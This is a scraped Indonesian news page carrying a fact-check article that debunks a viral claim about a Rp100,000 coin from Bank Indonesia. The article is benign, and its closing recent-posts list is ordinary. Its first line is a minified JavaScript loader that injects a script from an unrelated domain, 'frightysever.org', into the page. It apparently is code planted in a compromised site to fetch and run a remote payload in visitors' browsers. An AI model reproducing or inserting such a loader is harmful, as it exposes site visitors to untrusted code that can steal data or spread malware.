(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
CEK FAKTA

CEK FAKTA: Bank Indonesia Mengeluarkan Pecahan Uang Koin Rp100 Ribu


KANALKALIMANTAN.COM – Beredar narasi Bank Indonesia mengeluarkan mata uang baru berupa koin Seratus Ribu Rupiah. Wujud dari pecahan uang koin Seratus Ribu Rupiah itu telah viral.

Narasi tersebut dibagikan oleh akun Facebook Djon Liem pada 27 Desember 2021. Akun ini mengunggah gambar yang memperlihatkan uang koin dengan nominal 100.000.

Koin tersebut bergambar lambang negara Garuda di tengah-tengah berukuran besar. Di atasnya tertulis “Seratus Ribu Rupiah”. Di bawah Garuda terdapat nominal angka 100.000 dan bertuliskan Bank Indonesia.

Sementara itu, di sisi kiri lambang negara tertulis angka 2021 dan sisi kanan terdapat angka 2030.

 

 

Baca juga: Kesaksian Korban Dugaan Pelanggaran HAM di Aceh yang Gugat ExxonMobil di AS

Adapun narasi yang dibagikan sebagai berikut.

“Mata Uang Baru yg di keluarkan oleh BI… Seratus Ribu Rupiah… Apik ee….Tapi klo ngelinding trus masuk got… Nangis lah….”

Lantas, benarkah klaim tersebut?

 

PENJELASAN

Berdasarkan penelusuran Turnbackhoax.id — jaringan Suara.com, narasi yang menyebutkan bahwa Bank Indonesia mengeluarkan mata uang baru tidak benar.

Junanto Herdiawan, Direktur Komunikasi Bank Indonesia telah menegaskan bahwa informasi tersebut salah.

Faktanya, Bank Indonesia telah memastikan bahwa tidak pernah mengeluarkan uang seratus ribu rupiah dalam bentuk pecahan koin pada 2021.

Baca juga: Muda Mudi Kedapatan Satpol PP Banjarbaru Bermesraan di Wisata Hutan Pinus Mentaos

Bank Indonesia memang pernah mengeluarkan uang logam Rp100.000 yang dicetak pada tahun 1974. Namun, uang tersebut merupakan uang rupiah khusus (URK).

Gambar muka uang koin Rp100.000 keluaran tahun 1974 itu merupakan lambang negara Garuda dan tertulis “BANK INDONESIA” dengan tahun terbit 1974.

Di belakang uang terbitan 1974 itu terdapat gambar hewan Komodo, spesies biawak terbesar yang ada di Pulau Komodo, Rinca, Flores.

Uang Rp100.000 terbitan 1974 itu kini sudah tidak berlaku. Mengacu pada Peraturan Bank Indonesia (PBI) No.23/12/PBI/2021, URK itu sudah tidak berlaku sebagai alat pembayaran yang sah sejak 30 Agustus 2021.

 

KESIMPULAN

Dari penjelasan di atas, maka narasi Bank Indonesia mengeluarkan pecahan koin Rp100.000 adalah hoaks.

Narasi tersebut masuk ke dalam kategori konten yang palsu. (Suara.com)

Editor: kk


Risa

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

12 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

15 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

15 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

17 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

19 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

20 jam ago

This website uses cookies.